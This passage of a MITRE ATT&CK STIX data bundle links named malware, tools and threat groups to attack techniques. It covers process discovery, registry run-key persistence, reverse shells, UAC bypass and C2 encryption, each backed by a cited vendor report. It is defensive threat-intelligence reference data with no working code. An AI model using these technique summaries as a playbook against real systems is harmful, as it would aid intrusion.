            "created": "2019-01-31T00:36:41.187Z"
        },
        {
            "id": "relationship--80ca0faf-6958-4158-a36d-b3e7936c5f5a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Tasklist](https://attack.mitre.org/software/S0057) can be used to enumerate security software currently running on a system by process name of known products.(Citation: Microsoft Tasklist)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft Tasklist",
                    "description": "Microsoft. (n.d.). Tasklist. Retrieved December 23, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/bb491010.aspx"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.",
                    "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
                    "source_name": "GDATA Zeus Panda June 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) hooks processes by leveraging its own IAT hooked functions.(Citation: GDATA Zeus Panda June 2017)",
            "id": "relationship--01e4bf9a-3d9c-4381-aa9c-cca73376c771",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6",
            "type": "relationship",
            "modified": "2019-04-16T20:55:20.157Z",
            "created": "2019-01-29T17:59:44.424Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Nokki Oct 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/",
                    "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."
                }
            ],
            "description": "[DOGCALL](https://attack.mitre.org/software/S0213) is encrypted using single-byte XOR.(Citation: Unit 42 Nokki Oct 2018)",
            "id": "relationship--b09cad27-7b44-4a57-adf8-dcbcb3cdcb0a",
            "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-16T16:43:12.126Z",
            "created": "2019-01-29T18:23:46.141Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fortinet Remcos Feb 2017",
                    "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html",
                    "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018."
                }
            ],
            "description": "[Remcos](https://attack.mitre.org/software/S0332) has a command for UAC bypassing.(Citation: Fortinet Remcos Feb 2017)",
            "id": "relationship--945dface-ae29-4baa-ad2d-45c27029936a",
            "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2019-04-19T14:39:53.042Z",
            "created": "2019-01-29T18:55:20.798Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/",
                    "source_name": "Malwarebytes DarkComet March 2018"
                }
            ],
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) can list active processes running on the victim\u2019s machine.(Citation: Malwarebytes DarkComet March 2018)",
            "id": "relationship--7c60bccc-f485-403d-ab3b-db861a3a4429",
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-06-04T19:40:43.615Z",
            "created": "2019-01-29T19:18:28.637Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.",
                    "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/",
                    "source_name": "ESET Carbon Mar 2017"
                }
            ],
            "description": "[Carbon](https://attack.mitre.org/software/S0335) can list the processes on the victim\u2019s machine.(Citation: ESET Carbon Mar 2017)",
            "id": "relationship--e6f2f304-e637-4636-a238-b30904ce11fc",
            "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-04-12T14:43:22.646Z",
            "created": "2019-01-29T19:36:02.840Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PaloAlto NanoCore Feb 2016",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/",
                    "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018."
                }
            ],
            "description": "[NanoCore](https://attack.mitre.org/software/S0336) uses DES to encrypt the C2 traffic.(Citation: PaloAlto NanoCore Feb 2016)",
            "id": "relationship--a5f33976-796d-46b8-9c5f-5545ef25c03f",
            "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-21T00:06:32.545Z",
            "created": "2019-01-29T20:05:36.447Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cofense NanoCore Mar 2018",
                    "url": "https://cofense.com/nanocore-rat-resurfaced-sewers/",
                    "description": "Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved November 9, 2018."
                }
            ],
            "description": "[NanoCore](https://attack.mitre.org/software/S0336) creates a RunOnce key in the Registry to execute its VBS scripts each time the user logs on to the machine.(Citation: Cofense NanoCore Mar 2018)",
            "id": "relationship--dd417d31-d129-44ac-8a9f-b14b79235dfa",
            "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-04-17T20:47:23.939Z",
            "created": "2019-01-29T20:05:36.519Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) has used several code packing methods such as Themida, Enigma, VMProtect, and Obsidium, to pack their implants.(Citation: FireEye APT38 Oct 2018)",
            "id": "relationship--61986499-5358-4edc-aab1-6a13ae0f7c06",
            "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "type": "relationship",
            "modified": "2019-09-09T19:10:53.461Z",
            "created": "2019-01-29T21:27:25.177Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 BadPatch Oct 2017",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/",
                    "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."
                }
            ],
            "description": "[BadPatch](https://attack.mitre.org/software/S0337) uses HTTP for C2.(Citation: Unit 42 BadPatch Oct 2017)",
            "id": "relationship--389029e4-c8bc-48e7-9e46-ca513eeda5ca",
            "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:22:32.997Z",
            "created": "2019-01-29T21:33:34.574Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 BadPatch Oct 2017",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/",
                    "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018."
                }
            ],
            "description": "[BadPatch](https://attack.mitre.org/software/S0337) uses port 26 for C2 communications.(Citation: Unit 42 BadPatch Oct 2017)",
            "id": "relationship--e57d5424-fa14-4007-bad7-734a045b3879",
            "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-04-23T21:17:49.927Z",
            "created": "2019-01-29T21:33:34.694Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Radware Micropsia July 2018",
                    "url": "https://blog.radware.com/security/2018/07/micropsia-malware/",
                    "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."
                }
            ],
            "description": "[Micropsia](https://attack.mitre.org/software/S0339) creates a new hidden directory to store all components' outputs in a dedicated sub-folder for each.(Citation: Radware Micropsia July 2018)",
            "id": "relationship--d8c933d5-f44d-4e3b-ae15-f94518320995",
            "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "type": "relationship",
            "modified": "2019-04-17T22:05:05.920Z",
            "created": "2019-01-29T21:47:53.664Z"
        },
        {
            "id": "relationship--545a618f-9fe4-4573-a0a0-ecfcef0b407c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Several [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) tools encode data with base64 when posting it to a C2 server.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:07:11.552Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/",
                    "source_name": "Unit42 Xbash Sept 2018"
                }
            ],
            "description": "[Xbash](https://attack.mitre.org/software/S0341) can collect IP addresses and local intranet information from a victim\u2019s machine.(Citation: Unit42 Xbash Sept 2018)",
            "id": "relationship--f5548cf6-d6d8-401e-997c-ee72642d691c",
            "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-06-28T15:15:54.442Z",
            "created": "2019-01-30T13:28:47.879Z"
        },
        {
            "id": "relationship--bea7bd3c-1251-4858-8957-a6dc3bb840d2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component is a Web Shell payload.(Citation: Lee 2013)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
                    "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.",
                    "source_name": "Lee 2013"
                }
            ],
            "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
            "type": "relationship",
            "modified": "2020-01-09T16:53:15.227Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5efe685d-66a6-4f1f-8779-4aae5db859d0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get the current user's name and SID.(Citation: Volexity PowerDuke November 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                }
            ],
            "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-04-22T22:31:38.466Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Anomali Evasive Maneuvers July 2015",
                    "url": "https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop",
                    "description": "Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018."
                },
                {
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/",
                    "source_name": "PaloAlto DNS Requests May 2016"
                }
            ],
            "description": "[APT18](https://attack.mitre.org/groups/G0026) establishes persistence via the <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code> key.(Citation: Anomali Evasive Maneuvers July 2015)(Citation: PaloAlto DNS Requests May 2016)",
            "id": "relationship--e47f03aa-09b3-45a2-927d-b2cd96e7c444",
            "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-05-30T18:05:32.837Z",
            "created": "2019-01-30T14:00:49.912Z"
        },
        {
            "id": "relationship--cf0b5987-3d37-481c-979c-36c597b91fc5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [QuasarRAT](https://attack.mitre.org/software/S0262) .dll file is digitally signed by a certificate from AirVPN.(Citation: Volexity Patchwork June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "source_name": "Volexity Patchwork June 2018"
                }
            ],
            "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "type": "relationship",
            "modified": "2019-06-24T19:05:41.606Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/",
                    "source_name": "Unit42 Azorult Nov 2018"
                },
                {
                    "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside",
                    "source_name": "Proofpoint Azorult July 2018"
                }
            ],
            "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect the machine information, system architecture, the OS version, computer name, Windows product name, the number of CPU cores, video card information, and the system language.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)",
            "id": "relationship--e391c03a-9ef4-436f-8ab5-2c15168c9551",
            "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-07-26T23:22:28.396Z",
            "created": "2019-01-30T15:19:15.050Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1 Appendix"
                }
            ],
            "description": "[Seasalt](https://attack.mitre.org/software/S0345) uses cmd.exe to create a reverse shell on the infected endpoint.(Citation: Mandiant APT1 Appendix)",
            "id": "relationship--1719d211-582f-4ae9-90f4-2ec984360927",
            "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T19:18:11.192Z",
            "created": "2019-01-30T15:27:06.728Z"
        },
        {
            "id": "relationship--6fdaef62-c4da-488a-a07d-c8fca2c98d85",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload information about all running processes to its C2 server.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Oceansalt Oct 2018",
                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."
                }
            ],
            "description": "[OceanSalt](https://attack.mitre.org/software/S0346) uses Port Number 8080 for C2.(Citation: McAfee Oceansalt Oct 2018)",
            "id": "relationship--2a481cb4-52b4-4d7e-80ff-d40c92e5fa1c",
            "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2019-02-12T21:14:11.238Z",
            "created": "2019-01-30T15:43:19.426Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can collect the username from a victim machine.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--395fbd2c-7827-49b3-8121-72d54181f0b1",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2019-06-10T18:25:51.763Z",
            "created": "2019-01-30T16:39:54.200Z"
        },
        {
            "id": "relationship--f758836e-91b2-4651-ba72-d827553b668c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POSHSPY](https://attack.mitre.org/software/S0150) uses a WMI event subscription to establish persistence.(Citation: FireEye POSHSPY April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
                }
            ],
            "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58",
            "type": "relationship",
            "modified": "2019-04-24T23:41:40.115Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--8b42462a-0d66-4740-8f48-0857ab523370",
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b",
            "external_references": [
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
                }
            ],
            "description": "(Citation: FireEye APT35 2018)",
            "type": "relationship",
            "modified": "2019-09-04T22:55:41.872Z",
            "created": "2019-01-30T17:04:29.735Z"
        },
        {
            "id": "relationship--ac72c3da-6b58-4f66-8476-8d3cc9ccf6bd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mivast](https://attack.mitre.org/software/S0080) has the capability to gather NTLM password information.(Citation: Symantec Backdoor.Mivast)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Backdoor.Mivast",
                    "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.",
                    "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2"
                }
            ],
            "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
            "type": "relationship",
            "modified": "2020-03-25T16:03:27.015Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/",
                    "source_name": "Securelist Darkhotel Aug 2015"
                }
            ],
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) malware can collect a list of running processes on a system.(Citation: Securelist Darkhotel Aug 2015)",
            "id": "relationship--48649215-087c-4ded-925c-f2c3f57dcba1",
            "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2021-04-22T14:35:25.549Z",
            "created": "2019-01-30T17:43:28.210Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "source_name": "McAfee Night Dragon"
                }
            ],
            "description": "[zwShell](https://attack.mitre.org/software/S0350) can obtain the victim PC name and OS version.(Citation: McAfee Night Dragon)",
            "id": "relationship--5f179b5c-497f-42da-bc32-360b6113122b",
            "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-16T16:07:39.022Z",
            "created": "2019-01-30T17:48:35.676Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
